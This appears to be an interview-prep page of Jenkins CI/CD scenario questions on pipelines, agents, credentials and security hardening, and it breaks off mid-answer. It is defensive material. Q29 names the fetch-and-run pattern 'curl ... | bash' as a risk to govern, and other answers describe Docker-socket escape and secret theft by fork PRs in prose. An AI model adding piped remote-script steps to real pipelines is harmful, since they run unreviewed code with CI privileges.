Scenario Questions
Real-world CI/CD situations for Jenkins, GitHub Actions and GitLab CI, with the reasoning interviewers want to hear
Jenkins Pipelines and Agents
🎥 Learn this hands-on with DevOps Shack → YouTube @devopsshack · Hindi @shackverse · Courses at devopsshack.com
Q1 Your team still builds jobs by clicking through Freestyle jobs in the Jenkins UI. A new service is starting. What do you set up instead?
Beginner
Situation read → Click-configured jobs are not versioned, not reviewable and cannot be recreated if the controller dies.
What I'd do →
- Add a
Jenkinsfileto the repo root and create a Multibranch Pipeline (or GitHub/Bitbucket Organization folder) job pointing at it. - Use Declarative syntax:
pipeline { agent ... stages { ... } post { ... } }. - Configure the job itself with Job DSL or JCasC so even the job definition lives in Git.
Why → The pipeline gets code review, history, branch-specific behaviour and automatic jobs for every branch and PR.
Interview tip → Say "pipeline as code" and "job as code" - they are two different layers.
Q2 A Jenkins build takes 40 minutes because unit tests, linting and security scans run one after another. How do you speed it up?
Beginner
Situation read → Independent stages are serialized, so total time is the sum instead of the maximum.
What I'd do →
- Wrap independent stages in
parallel:
stage('Checks') {
parallel {
stage('Unit') { steps { sh 'mvn -q test' } }
stage('Lint') { steps { sh 'npm run lint' } }
stage('SAST') { steps { sh 'semgrep ci' } }
}
}- Set
failFast trueon the parallel block so one failure stops the rest. - Make sure each branch lands on its own executor.
Why → Wall-clock time drops to the slowest branch, and failures are reported sooner.
Interview tip → Mention that parallelism needs enough executors, otherwise branches just queue.
Q3 Builds queue for 20 minutes during the morning rush, but the Jenkins nodes are mostly idle at night. What do you do?
Intermediate
Situation read → Static capacity sized for neither peak nor trough.
What I'd do →
- Move builds to ephemeral agents: the Kubernetes plugin (pod per build) or EC2 Fleet plugin with an ASG.
- Define pod templates with the build tools baked into images, and set
idleMinuteslow. - Set controller executors to 0 so nothing builds on it.
- Add queue-time metrics (Prometheus plugin) to prove the improvement.
Why → Capacity follows demand, every build gets a clean environment, and you stop paying for idle VMs.
Interview tip → Watch for the trade-off: cold pod start and image pull time, so keep images small and cached.
Q4 A build works on agent A but fails on agent B with "command not found: mvn". How do you stop this class of problem?
Beginner
Situation read → Snowflake agents with different installed tools.
What I'd do →
- Stop depending on tools installed on the node. Run stages in containers:
agent { docker { image 'maven:3.9-eclipse-temurin-21' } }. - Or use the Jenkins
tools { maven 'M3' }block, which installs a pinned version. - Build agent images from one Dockerfile or Packer template in Git.
Why → The toolchain becomes part of the pipeline definition, so every agent behaves the same.
Interview tip → "Immutable agents" is the phrase.
Q5 You need a pipeline to build a branch automatically on push without polling. How do you wire it?
Beginner
Situation read → Polling SCM wastes load and adds delay.
What I'd do →
- Use a Multibranch or Organization folder job with the GitHub Branch Source plugin.
- Add a webhook in the repo to
https://jenkins.example.com/github-webhook/(or/multibranch-webhook-trigger/invoke?token=...). - Keep a long periodic scan (for example 1 day) only as a safety net.
Why → Push events trigger within seconds, and the controller does not poll hundreds of repos.
Interview tip → Mention that the webhook endpoint must be reachable from the SCM, so check ingress and firewall.
Q6 Only the main branch should deploy; feature branches and PRs should only build and test. How do you express this?
Beginner
Situation read → One Jenkinsfile, different behaviour per branch.
What I'd do →
stage('Deploy') {
when { branch 'main' }
steps { sh './deploy.sh prod' }
}For PRs use when { changeRequest() }, and combine with allOf/anyOf where needed.
Why → Declarative when is evaluated before the stage and keeps the stage visibly skipped in Blue Ocean and Stage View.
Interview tip → Add that deploy to prod should also sit behind an approval, not just a branch check.
Q7 A pipeline sometimes hangs forever on a flaky network call and holds an executor. How do you protect the system?
Beginner
Situation read → No upper bound on runtime.
What I'd do →
- Set a global
options { timeout(time: 30, unit: 'MINUTES') }. - Add tighter
timeoutblocks around risky steps andretry(3)only for idempotent operations. - Use
options { buildDiscarder(logRotator(numToKeepStr: '30')) }anddisableConcurrentBuilds()where needed.
Why → Timeouts free executors and give a clear failure instead of a silent stall.
Interview tip → Never retry non-idempotent steps like deploys without thinking about side effects.
Q8 Two commits land seconds apart and two deploys to the same environment run concurrently, corrupting state. What do you change?
Intermediate
Situation read → Missing mutual exclusion on a shared environment.
What I'd do →
- Use
options { disableConcurrentBuilds(abortPrevious: true) }for the branch if only the latest matters. - For environment-level locking across jobs use the Lockable Resources plugin:
lock(resource: 'prod-deploy') { ... }. - Add
milestone()steps so older builds are skipped once a newer one passes that point.
Why → Deploys to one environment must be serialized, and stale builds should not overwrite newer ones.
Interview tip → Mention milestone - many candidates only know disableConcurrentBuilds.
Q9 A stage fails on a transient test flake, but you still want the build to continue and report unstable. How?
Intermediate
Situation read → Not every failure should abort the pipeline, but it must not be hidden.
What I'd do →
catchError(buildResult: 'UNSTABLE', stageResult: 'FAILURE') {
sh './run-integration-tests.sh'
}Publish results with junit 'target/surefire-reports/*.xml', which marks the build UNSTABLE on test failures.
Why → The stage shows red, the build stays visible as unstable, and later stages like archiving still run.
Interview tip → Say you track flaky tests and fix them; catchError is a bandage, not a strategy.
Q10 You must send a Slack notification and clean the workspace whether the build passes or fails. Where does that go?
Beginner
Situation read → Cleanup and notification must be unconditional.
What I'd do →
post {
always { junit allowEmptyResults: true, testResults: '**/target/surefire-reports/*.xml' }
failure { slackSend channel: '#ci', message: "FAILED: ${env.JOB_NAME} #${env.BUILD_NUMBER}" }
cleanup { cleanWs() }
}Why → post conditions run after stages regardless of result, and cleanup runs last, after all other post conditions.
Interview tip → Know the order: always, then changed/fixed/regression, then success/failure, then cleanup.
Q11 A monorepo has 12 services and every commit rebuilds all of them. How do you build only what changed in Jenkins?
Intermediate
Situation read → No change detection.
What I'd do →
- Use
when { changeset 'services/payments/**' }on each service stage. - For PRs,
changesetcompares against the change request target; for non-PR builds usegit diff --name-only HEAD~1in a script and compute the set. - For larger repos, adopt a tool that understands the dependency graph (Bazel, Nx, Turborepo).
Why → Build time and cost scale with the change, not the repo size.
Interview tip → Mention shared libraries: a change in common/ must trigger every dependent service.
Q12 A stage needs a specific JDK version and a database for integration tests, but the agent has neither. How do you provide them?
Intermediate
Situation read → The build needs sidecar services plus a pinned runtime.
What I'd do →
- On Kubernetes agents, define a pod template with containers
maven(JDK 21) andpostgres:16; reach the DB atlocalhost:5432since containers share a pod network. - On Docker agents, start the DB with Testcontainers inside the test run, or
docker runin awithRunblock. - Wait for readiness (
pg_isready) before tests.
Why → Disposable dependencies give isolated, repeatable integration tests with no shared test database.
Interview tip → Testcontainers over a shared QA DB is a strong answer.
Q13 The Jenkins controller keeps running out of memory and slowing down. Builds themselves are not heavy. What is your plan?
Intermediate
Situation read → The controller is doing work it should not, or carrying too much history.
What I'd do →
- Set controller executors to 0 and push all builds to agents.
- Cap build history with
buildDiscarder, and remove unused plugins. - Replace heavy
scriptlogic and@NonCPS-free loops - Groovy runs on the controller. - Size the heap explicitly (
-Xms/-Xmx), enable GC logs and watch with the Metrics or Prometheus plugin. - Move to durable-task friendly steps; avoid
shoutput parsing in huge loops.
Why → In Jenkins, Pipeline Groovy CPS code executes on the controller, so scripting-heavy pipelines burden it.
Interview tip → "Keep the controller thin: orchestrate on it, work on agents."
Q14 You need a manual approval before production, and only the release managers group may approve. How?
Intermediate
Situation read → Gated deploy with an authorized approver list.
What I'd do →
stage('Approve Prod') {
steps {
timeout(time: 2, unit: 'HOURS') {
input message: 'Deploy to production?', submitter: 'release-managers', ok: 'Deploy'
}
}
}Place the input in a stage with agent none so no executor is held while waiting.
Why → submitter enforces who may proceed, and the timeout prevents abandoned pipelines.
Interview tip → Holding an agent during input is the classic mistake.
Q15 Developers want to run the exact same pipeline steps locally before pushing. How do you design for that?
Intermediate
Situation read → Logic buried in Groovy cannot be run on a laptop.
What I'd do →
- Put build, test and package logic in scripts or a Makefile/
task/Gradle/Maven wrapper (make test,./mvnw verify). - Keep the Jenkinsfile a thin orchestrator that calls those commands in the same container image developers use.
- Use the Jenkins command-line
declarative-linterto validate syntax before pushing.
Why → One definition of "build", fewer "works in CI but not locally" gaps, and the CI vendor is easier to swap.
Interview tip → Portability of build logic is a design principle, not a nice-to-have.
Q16 A deploy stage must run only if the previous stage produced a specific artifact, and pass its version along. How do you share data between stages?
Intermediate
Situation read → Stages may run on different agents, so the workspace is not shared.
What I'd do →
- Pass small values through
env.APP_VERSION = readFile('version.txt').trim(). - Pass files with
stash name: 'dist', includes: 'dist/**'andunstash 'dist'in the later stage. - For large or long-lived artifacts, publish to Nexus/Artifactory and pass only the coordinates.
Why → Stash is meant for small files within one run; a registry is the real source of truth.
Interview tip → Say "build once, promote the same artifact" - never rebuild per environment.
Q17 You need a nightly job that runs a full regression suite at 2 AM and a separate hourly smoke run. How do you schedule them?
Beginner
Situation read → Time-based triggers inside the pipeline.
What I'd do →
triggers { cron('H 2 * * *') }The H hashes the minute so jobs do not all start at once. For the hourly smoke run use cron('H * * * *') in a separate job or parameterize one job with a SUITE choice parameter.
Why → H spreads load, and separate jobs keep history and alerting clean.
Interview tip → Mention that cron triggers on multibranch jobs only fire on branches that have run the Jenkinsfile once.
Q18 A pipeline needs to run the same test stage across Java 17, 21 and two OSes. How do you avoid copy-paste?
Intermediate
Situation read → A matrix.
What I'd do →
stage('Test') {
matrix {
axes {
axis { name 'JDK'; values '17', '21' }
axis { name 'PLATFORM'; values 'linux', 'windows' }
}
excludes { exclude { axis { name 'JDK'; values '17' } axis { name 'PLATFORM'; values 'windows' } } }
stages { stage('run') { steps { echo "JDK ${JDK} on ${PLATFORM}" } } }
}
}Why → Declarative matrix generates the parallel cells and supports excludes.
Interview tip → Compare to GitHub Actions strategy.matrix - same idea.
Q19 After a Jenkins upgrade, half the pipelines fail with plugin errors. How do you make upgrades safe?
Advanced
Situation read → Uncontrolled plugin and core drift.
What I'd do →
- Pin plugins in
plugins.txtand install withjenkins-plugin-cli --plugin-file plugins.txt; bake into an image. - Run the same image with the same JCasC in a staging controller and execute representative pipelines first.
- Upgrade in small steps, read the plugin changelogs and the Jenkins upgrade guide, and keep the previous image for rollback.
- Back up
JENKINS_HOME(jobs, credentials, secrets) before touching production.
Why → Plugin compatibility is the main Jenkins failure mode, and an image makes the upgrade a rollbackable deploy.
Interview tip → "Jenkins as an immutable image plus config as code" shows maturity.
Q20 You inherit a 900-line Jenkinsfile that nobody dares to touch. What is your approach?
Advanced
Situation read → Copy-pasted logic, tangled state, no tests.
What I'd do →
- Freeze behaviour first: record current outputs and artifact checksums for a few representative builds.
- Extract shell steps into versioned scripts, and repeated stage blocks into a shared library function (
vars/buildService.groovy). - Move to Declarative where possible, keep scripted code only inside
script {}blocks. - Add unit tests with JenkinsPipelineUnit for the library, then refactor in small PRs.
- Compare artifacts before and after each change.
Why → Refactoring a pipeline safely means proving behaviour is unchanged, as with application code.
Interview tip → Emphasise small steps and a reference build, not a big-bang rewrite.
Q21 Builds on a single agent are slow because every build downloads the same Maven dependencies. What do you do?
Intermediate
Situation read → No dependency cache, or a cold ephemeral agent each time.
What I'd do →
- Point Maven at a Nexus/Artifactory proxy repository in
settings.xmlso downloads are LAN-fast and cached. - On static agents keep
~/.m2persistent; on Kubernetes mount a shared PVC or use a pre-warmed image. - Use
mvn -B -T 1Cfor parallel module builds and the Maven build cache extension where appropriate.
Why → A repository proxy is the most robust cache because it is shared by all agents and CI users.
Interview tip → Proxying also protects you if Maven Central is unavailable.
Q22 A job must run on a particular agent that has a GPU or a license-bound tool. How do you target it?
Beginner
Situation read → Agent selection by capability.
What I'd do →
- Label the node (
gpu,matlab) in node configuration. - Select with
agent { label 'gpu && linux' }. - Set the node usage to "Only build jobs with label expressions matching this node" so general jobs do not steal it.
Why → Labels decouple pipelines from hostnames and protect scarce nodes.
Interview tip → Label expressions support &&, || and !.
Q23 A pipeline needs to trigger a downstream deploy job and wait for its result. How do you do it cleanly?
Intermediate
Situation read → Job-to-job orchestration.
What I'd do →
def r = build job: 'deploy-service', wait: true, propagate: true,
parameters: [string(name: 'VERSION', value: env.APP_VERSION)]
echo "Downstream: ${r.result}"Use propagate: false if you want to handle failure yourself. Better still, fold the deploy into the same pipeline when one team owns both.
Why → Parameters carry the artifact version so the same build is promoted.
Interview tip → Too many chained jobs make traceability poor; prefer one pipeline with stages.
Q24 You want a nightly pipeline to be skipped when there were no new commits since the last successful run.
Beginner
Situation read → Pointless scheduled builds waste agents.
What I'd do →
- Use
pollSCM('H 2 * * *')instead ofcron, which only builds if the SCM has changes. - Or compare the last built revision stored in a file/build description with
git rev-parse HEADand callcurrentBuild.result = 'NOT_BUILT'.
Why → pollSCM triggers only on a change, so you get nightly cadence without empty runs.
Interview tip → Prefer webhooks for changes and cron for time-based jobs like regression.
Q25 Your Jenkins runs on one VM and that VM dies. How would you design for recovery?
Advanced
Situation read → Single point of failure with state in JENKINS_HOME.
What I'd do →
- Treat the controller as cattle: image with pinned plugins plus JCasC, jobs from Git (multibranch, Job DSL).
- Put
JENKINS_HOMEon durable storage (EBS/EFS or a PV) and snapshot it on a schedule; keep thesecrets/dir backed up and encrypted. - Automate rebuild with Terraform/Helm; practise a restore drill.
- Note that open-source Jenkins is active/passive, not active/active; use a warm standby that mounts the same volume only if you can fence the primary.
Why → If config is in Git and state is in a snapshot, recovery time is minutes.
Interview tip → Be honest that OSS Jenkins does not scale horizontally per controller; teams split into several controllers.
Q26 A pipeline publishes test results, but Jenkins shows "no test report files were found" and the build is green. Is that acceptable?
Beginner
Situation read → Tests may not have run at all, and the pipeline lies by silence.
What I'd do →
- Check the report glob path and that tests produced XML (
target/surefire-reports/*.xml). - Remove
allowEmptyResults: trueso an empty result fails the build. - Add a coverage or minimum test-count gate.
Why → A green build with zero tests is the worst kind of false confidence.
Interview tip → "Fail closed" on missing evidence.
Q27 You need to build a Docker image from a pipeline without giving the build access to the host Docker socket.
Advanced
Situation read → Mounting /var/run/docker.sock gives root-equivalent access to the node.
What I'd do →
- Use daemonless builders: Kaniko, BuildKit rootless, or Buildah, running as a container in a Kubernetes agent pod.
- Example container step:
/kaniko/executor --context $WORKSPACE --dockerfile Dockerfile --destination $REG/app:$TAG. - Authenticate to the registry with a mounted pull-secret or short-lived credentials, and isolate build pods in their own namespace with a restricted PodSecurity level.
Why → Anyone who can run a pipeline could otherwise escape to the host through the Docker socket.
Interview tip → Mention that Kaniko is archived upstream by Google, so evaluate BuildKit or Buildah for new setups.
Q28 An approval step blocks the pipeline and the executor stays occupied for hours. Fix it.
Intermediate
Situation read → The input is inside a stage that already holds an agent.
What I'd do →
- Set top-level
agent none, and give each build stage its ownagent. - Put the
inputstage withagent nonebetween them. - Wrap it in
timeoutso abandoned runs expire.
Why → Waiting on a human consumes no executor, only a lightweight flyweight on the controller.
Interview tip → Same principle as not holding a DB connection while waiting on a user.
Q29 Developers keep adding ad-hoc sh 'curl ... | bash' steps to the pipeline. How do you govern this?
Intermediate
sh 'curl ... | bash' steps to the pipeline. How do you govern this?Situation read → Unreviewed code runs with CI privileges.
What I'd do →
- Require PR review with CODEOWNERS on
Jenkinsfileand the shared library. - Expose approved capabilities as shared-library steps and pre-built agent images.
- Block outbound internet from agents except through the artifact proxy.
- Scan scripts in CI with shellcheck and a policy check on forbidden patterns.
Why → The pipeline is a privileged execution environment, so it needs the same controls as production code.
Interview tip → Network egress control is the control that actually holds.
Q30 A feature branch pipeline must use a different config than main, but you do not want a second Jenkinsfile.
Beginner
Situation read → Same pipeline, branch-aware parameters.
What I'd do →
- Use
env.BRANCH_NAMEandwhenconditions, or compute values in anenvironment {}block with ternaries. - Use
env.CHANGE_IDto detect PRs and skip publish steps. - Keep environment-specific values in config files or Helm values per environment, not in Groovy.
Why → One pipeline definition is easier to maintain and audit.
Interview tip → Config lives with the environment, logic lives in the pipeline.
Q31 A build needs to run inside a pod with three containers (builder, scanner, deployer), each using a different image. How do you structure it?
Intermediate
Situation read → Kubernetes plugin pod with multiple containers.
What I'd do →
agent {
kubernetes {
yaml '''
spec:
containers:
- name: build
image: maven:3.9-eclipse-temurin-21
command: [sleep]
args: [infinity]
- name: scan
image: aquasec/trivy:latest
command: [sleep]
args: [infinity]
'''
}
}Then container('build') { sh 'mvn -B verify' } and container('scan') { sh 'trivy fs .' }.
Why → Containers share the workspace volume, so each tool runs in its own clean image.
Interview tip → Pin image tags or digests; latest makes builds non-reproducible.
Q32 Builds fail occasionally because the workspace has leftovers from earlier runs. What do you do?
Beginner
Situation read → Stale files in a reused workspace.
What I'd do →
- Use
cleanWs()inpost { cleanup { } }, oroptions { skipDefaultCheckout() }pluscheckout scmwithCleanBeforeCheckout. - Prefer ephemeral agents so the workspace is born clean.
- Never rely on files left in
target/to make a build pass.
Why → Clean builds prove the pipeline is self-contained.
Interview tip → Cleaning costs cache hits; trade it off with a proper dependency cache.
Q33 Security wants a record of who triggered each build and who approved each production deploy.
Intermediate
Situation read → Auditability.
What I'd do →
- Enable the Audit Trail plugin and ship logs to a SIEM.
- Capture
inputapprover viadef who = input(message: '...', submitter: '...', submitterParameter: 'APPROVER'). - Record build cause (
currentBuild.getBuildCauses()), commit SHA and approver in build description and in the deployment ticket/annotation. - Use SSO (OIDC/SAML) so identities are real people.
Why → Auditors need a traceable chain: commit, build, approver, deploy.
Interview tip → Tie it to change-management: the pipeline is the change record.
Q34 A stage requires a long-running process (a test server) that must be stopped even if tests fail.
Intermediate
Situation read → Background process lifecycle inside a stage.
What I'd do →
- Start with
sh 'nohup ./start-server.sh > server.log 2>&1 & echo $! > server.pid', wait for the port, run tests. - Stop in
post { always { sh 'kill $(cat server.pid) || true' } }. - Better: run the server as a container started in
docker.image(...).withRun { c -> ... }, which cleans up automatically.
Why → withRun ties resource lifetime to the block even on failure.
Interview tip → Note Jenkins' BUILD_ID process killer: set JENKINS_NODE_COOKIE=dontKillMe only when a process must outlive the build.
Q35 Management asks whether to keep Jenkins or move to GitHub Actions. How do you frame the decision?
Advanced
Situation read → A platform decision, not a tool-preference debate.
What I'd do →
- Inventory: number of pipelines, plugin dependencies, custom shared libraries, special agents (mainframe, on-prem networks, GPU).
- Compare cost of ownership: controller/agent ops and plugin upgrades versus per-minute pricing and self-hosted runner operations.
- Pilot with two representative services, migrate incrementally, and run both side by side with identical artifacts.
- Keep Jenkins where network or compliance constraints demand it.
Why → The best tool is the one the team can operate cheaply and securely, and migration cost is real.
Interview tip → Give a recommendation with criteria; "it depends" alone loses points.
Jenkins Shared Libraries, Credentials and Security
🎥 Learn this hands-on with DevOps Shack → YouTube @devopsshack · Hindi @shackverse · Courses at devopsshack.com
Q36 Ten teams copy the same 80-line "build and push image" stage. What do you do?
Beginner
Situation read → Duplicated pipeline logic drifting apart.
What I'd do →
- Create a Git repo with
vars/buildAndPush.groovydefiningdef call(Map cfg). - Register it under Manage Jenkins > System > Global Trusted Pipeline Libraries with a default version.
- Call it with
@Library('[email protected]') _andbuildAndPush(image: 'app', tag: env.GIT_COMMIT).
Why → One fix is delivered to every team, and versioning controls the blast radius.
Interview tip → Tag releases and pin consumers; never let everyone track main of a shared library.
Q37 A shared library change broke 50 pipelines at once. How do you prevent a repeat?
Advanced
Situation read → Library changes were released with no testing and no staged rollout.
What I'd do →
- Unit-test
vars/steps with JenkinsPipelineUnit and Spock. - Release by semver tag; consumers pin
@v1, a moving major tag, while you testv2on canary pipelines. - Have a test pipeline that loads the PR branch with
library identifier: 'ci-lib@refs/pull/..'against sample repos. - Keep the previous tag available for instant rollback.
Why → A shared library is a dependency like any other and needs versioning, tests and canaries.
Interview tip → Mention that backwards compatibility rules for the library API matter.
Q38 A pipeline needs an AWS secret key and a DB password. How do you provide them without exposing them in logs?
Beginner
Situation read → Secrets must be injected at runtime and masked.
What I'd do →
withCredentials([usernamePassword(credentialsId: 'db-creds',
usernameVariable: 'DB_USER', passwordVariable: 'DB_PASS')]) {
sh 'psql "postgresql://$DB_USER:$DB_PASS@db/app" -f migrate.sql'
}Use single quotes in sh so the shell expands the variable, not Groovy.
Why → With single quotes Jenkins never interpolates the secret into the Groovy string, and the console masks it.
Interview tip → Double-quoted Groovy interpolation of secrets triggers a Jenkins warning for good reason.
Q39 Credentials are stored in Jenkins; the security team wants no long-lived cloud keys at all.
Advanced
Situation read → Replace static keys with short-lived identity.
What I'd do →
- Run agents on EC2/EKS with an IAM role (instance profile or IRSA / Pod Identity); the AWS SDK then uses temporary credentials.
- For cross-account access use
sts assume-rolewith a limited session duration. - Remove access-key credentials from the credentials store and rotate the old keys out.
- Where a secret must exist, source it from Vault or AWS Secrets Manager at runtime.
Why → No stored keys means nothing to leak, and permissions are scoped to the agent identity.
Interview tip → Say "workload identity" and mention least privilege per pipeline type.
Q40 A developer asks for admin access to Jenkins to "fix their job". How do you handle it?
Beginner
Situation read → Admin is far more than the developer needs.
What I'd do →
- Use Matrix or Role-based authorization: developers get Job/Build, Job/Read, Job/Configure only for their folder.
- Put team jobs in Folders with folder-level credentials and permissions.
- Because jobs are defined in a Jenkinsfile, most "fixes" are PRs, not UI changes.
Why → Least privilege limits damage, and folder scoping contains credentials.
Interview tip → Folder-scoped credentials prevent team A using team B's secrets.
Q41 A pipeline from a fork PR should not be able to read production credentials.
Intermediate
Situation read → Untrusted code running with trusted secrets.
What I'd do →
- In the GitHub/Bitbucket branch source, set trust policy to "From users with Admin or Write permission" so fork PRs build with trusted Jenkinsfile from the target.
- Bind secrets only to stages guarded by
when { branch 'main' }. - Use credentials scoped to a folder that fork builds cannot reach, and use separate, low-privilege test credentials for PR builds.
Why → A malicious PR could modify the Jenkinsfile to print secrets.
Interview tip → "Never run untrusted code with trusted secrets" applies to every CI system.
Q42 The team wants the Jenkins configuration reproducible and reviewable. What tooling do you use?
Intermediate
Situation read → Manual UI configuration is invisible and unrepeatable.
What I'd do →
- Use Configuration as Code (JCasC) with a
jenkins.yamlfor security realm, authorization, clouds and tool installers. - Reference secrets as
${AWS_SECRET}from environment or mounted files, never literals. - Define jobs with Job DSL seed or multibranch/org folders.
- Apply via the Helm chart
controller.JCasC.configScriptsor an image.
Why → The whole controller can be recreated from Git with a review trail.
Interview tip → Know that JCasC supports reload without restart for most settings.
Q43 A third-party Jenkins plugin has a published security advisory affecting your version. What do you do?
Intermediate
Situation read → A known vulnerable component in a privileged system.
What I'd do →
- Read the Jenkins Security Advisory for scope and whether a fix exists.
- Update the plugin in staging, run smoke pipelines, then production in a maintenance window.
- If no fix exists, disable or uninstall the plugin, or mitigate per the advisory.
- Subscribe to the advisory feed and use the Plugin Manager's security warnings.
Why → Jenkins holds deploy credentials, so unpatched plugins are an attractive target.
Interview tip → Reduce plugin count deliberately; each plugin is attack surface.
Q44 You want one pipeline step, "deployToK8s", usable by all teams but restricted so it can only deploy to namespaces the team owns.
Advanced
Situation read → Safe self-service with guardrails.
What I'd do →
- Implement the step in the shared library; derive the allowed namespace from the folder or team name, not from caller input.
- Use per-team Kubernetes credentials (ServiceAccount token or OIDC) bound to a namespaced Role.
- Validate manifests with
kubeconformand policy with OPA/Kyverno before apply. - Enforce authorization on the cluster side as well, never only in Groovy.
Why → Library checks can be bypassed; RBAC at the target is the real boundary.
Interview tip → "Defence in depth: library guard plus cluster RBAC."
Q45 The shared library must call a script that is not allowed by the Script Security sandbox. How do you proceed?
Intermediate
Situation read → Sandbox blocks a method signature.
What I'd do →
- Prefer to avoid the call: use a built-in step or move logic into a shell script.
- Global libraries configured under System settings run outside the sandbox (trusted), so keep privileged helpers there with strict code review.
- Avoid approving arbitrary signatures in "In-process Script Approval"; approve only after reading each one.
Why → Script approval is a security boundary; bulk approval defeats it.
Interview tip → Trusted global library = full controller access, so protect it with CODEOWNERS.
Q46 Credentials in Jenkins were rotated, but pipelines still use the old value. What went wrong?
Beginner
Situation read → Credential referenced in multiple places or copied.
What I'd do →
- Look up all usages with the Credentials Binding usage or search
credentialsIdacross repos. - Update the credential in place, keeping the same ID, so pipelines pick up the new value.
- Check agents or jobs that cached it in env vars, files or Docker config (
~/.docker/config.json).
Why → Using one ID per secret decouples rotation from pipeline edits.
Interview tip → Rotation should be automated and tested, not a heroic event.
Q47 Your pipeline logs accidentally show a token because a tool printed it. How do you respond?
Intermediate
Situation read → Secret exposure in console output.
What I'd do →
- Revoke and rotate the token immediately - deleting the log is not enough, copies may exist.
- Delete or redact the build logs and artifacts as a secondary step.
- Wrap secret use in
withCredentialsso masking applies, and stop passing secrets as command-line arguments (process lists and logs). - Add a secret-scanning step on logs where possible.
Why → Treat any exposed secret as compromised.
Interview tip → Mention that masking is best-effort: base64 or split output can bypass it.
Q48 A Jenkins agent connects to the controller over JNLP/inbound; security flags the open TCP port.
Intermediate
Situation read → Inbound agent port exposed too broadly.
What I'd do →
- Use WebSocket agents (
-webSocket) so agents connect over the same HTTPS port as the UI, removing a separate TCP port. - Restrict network paths with security groups and require TLS at the ingress.
- Use per-agent secrets and rotate them; prefer ephemeral Kubernetes agents that receive secrets automatically.
Why → Fewer open ports and encrypted transport reduce attack surface.
Interview tip → WebSocket mode needs a recent agent and controller; check versions.
Q49 A team wants to store a long-lived GitHub personal access token in Jenkins for checkouts. What is better?
Intermediate
Situation read → PATs tie access to a person and rarely expire.
What I'd do →
- Use a GitHub App with the GitHub Branch Source plugin; installation tokens are short-lived and scoped to repos.
- If an app is not possible, use a machine user with fine-grained read-only token and an expiry date.
- Store it as a folder-scoped credential.
Why → GitHub App tokens are repo-scoped, short-lived, and independent of employees leaving.
Interview tip → Offboarding an engineer should never break CI.
Q50 You need pipeline-level approval workflows with multiple stages (QA, security, release manager). Design it in Jenkins.
Advanced
Situation read → Multi-party gated release.
What I'd do →
- Use sequential
inputstages withsubmitterset per role andsubmitterParameterto log who approved. - Keep
agent nonewhile waiting and add timeouts with an auto-abort. - Post each decision to the ticketing system (Jira API) and annotate the deployment in monitoring.
- Require the artifact digest to be identical across gates; re-verify the signature before the final deploy.
Why → Gates tie human approval to an immutable artifact, giving auditability.
Interview tip → Mention that approvals on the artifact digest prevent "approved A, shipped B".
Q51 Developers can edit the Jenkinsfile in a PR to disable the security scan stage. How do you prevent it?
Advanced
Situation read → The pipeline is controlled by the people it is meant to police.
What I'd do →
- Make mandatory stages part of a shared-library "golden pipeline" that teams call, e.g.
standardPipeline(config). - Protect the Jenkinsfile and the library with CODEOWNERS and branch protection.
- Add a required status check that runs the scan independently from the repo's own pipeline.
- Verify in the admission or deploy step that the artifact carries a scan attestation.
Why → Controls must live outside the code under review.
Interview tip → Attestation checked at deploy time is the unbypassable control.
Q52 A Jenkins job must read secrets from HashiCorp Vault. How do you integrate it?
Intermediate
Situation read → Dynamic secrets rather than static credentials.
What I'd do →
- Install the HashiCorp Vault plugin and configure the Vault URL and AppRole or Kubernetes auth.
- Use
withVault([vaultSecrets: [[path: 'secret/app', secretValues: [[envVar: 'DB_PASS', vaultKey: 'password']]]]]) { sh '...' }. - Give the Jenkins role a Vault policy that only reads the needed paths with a short TTL.
Why → Secrets are fetched at run time, audited by Vault, and never stored in Jenkins.
Interview tip → For databases prefer Vault dynamic credentials with a TTL equal to the build.
Q53 A contractor needs to view build results but must not see any credentials or console secrets.
Beginner
Situation read → Read-only access with minimal exposure.
What I'd do →
- Grant only
Overall/ReadandJob/Readon the relevant folder; do not grantCredentials/VieworJob/Configure. - Disable "Job/Workspace" if workspaces may contain secrets.
- Rely on masking but also keep secrets out of outputs.
Why → Console output and workspaces are common leak points.
Interview tip → Permission granularity in the matrix is what makes this possible.
Q54 Jenkins is exposed to the internet for webhooks. What hardening do you apply?
Advanced
Situation read → Public attack surface for a privileged system.
What I'd do →
- Put Jenkins behind a reverse proxy/WAF; expose only the webhook path, not the full UI.
- Allow only the SCM provider IP ranges for webhooks where published, and validate payload secrets.
- Enforce SSO and MFA, disable anonymous read, enable CSRF protection, and keep the agent-to-controller security enabled.
- Alternative: use a webhook relay that pulls events, so Jenkins stays private.
Why → Several major Jenkins incidents came from exposed, unpatched instances.
Interview tip → "Private UI, narrow webhook ingress."
Q55 The security team asks you to prove that production builds come only from the main branch of approved repos.
Advanced
Situation read → Need verifiable build provenance.
What I'd do →
- Restrict prod-deploy credentials to a folder and job that only builds
mainof approved repos. - Generate SLSA-style provenance recording repo, commit, builder and parameters, and sign it (cosign attest).
- Verify the attestation at deploy time or in admission control (Kyverno
verifyImages, Sigstore policy-controller).
Why → Policy plus signed evidence is stronger than process rules.
Interview tip → Name SLSA and cosign; it shows you know the supply-chain vocabulary.
Q56 Credentials are used inside a script block with string concatenation and Jenkins warns about insecure interpolation.
Beginner
script block with string concatenation and Jenkins warns about insecure interpolation.Situation read → Groovy interpolates "${SECRET}" before the shell runs, leaking into process arguments and logs.
What I'd do →
- Use single-quoted shell strings and let the shell read
$SECRETfrom the environment. - Pass secrets via stdin or a file where tools allow, e.g.
docker login -u "$U" --password-stdin <<< "$P".
Why → The secret stays in the environment, not in the Groovy-expanded command line.
Interview tip → Be ready to explain Groovy vs shell interpolation in one sentence.
Q57 You need cross-team visibility of pipeline health: duration, failure rate, queue time.
Intermediate
Situation read → Pipelines are a product, so they need SLIs.
What I'd do →
- Enable the Prometheus Metrics plugin, scrape
/prometheus, and build Grafana dashboards: build duration, queue wait, success ratio, executor utilization. - Alert on queue time above a threshold and a sudden failure-rate rise.
- Add per-stage timing through the OpenTelemetry plugin if tracing is needed.
Why → You cannot improve CI speed or reliability without measurement.
Interview tip → Queue time is the metric developers feel most.
Q58 A Jenkinsfile hardcodes the production URL and keys in the repo. What is the remediation?
Beginner
Situation read → Secrets committed to Git.
What I'd do →
- Rotate every exposed secret immediately.
- Move values to credentials or Vault and non-secret config to environment files.
- Purge history only after rotation (
git filter-repo) and add pre-commit and CI secret scanning (gitleaks).
Why → Rewriting history does not undo exposure; rotation does.
Interview tip → "Rotate first, clean second."
Q59 A pipeline library function behaves differently depending on which agent loads it. Why might that be?
Advanced
Situation read → Library code runs in the controller's CPS engine; only sh/bat steps run on agents.
What I'd do →
- Check whether the logic touches the filesystem with
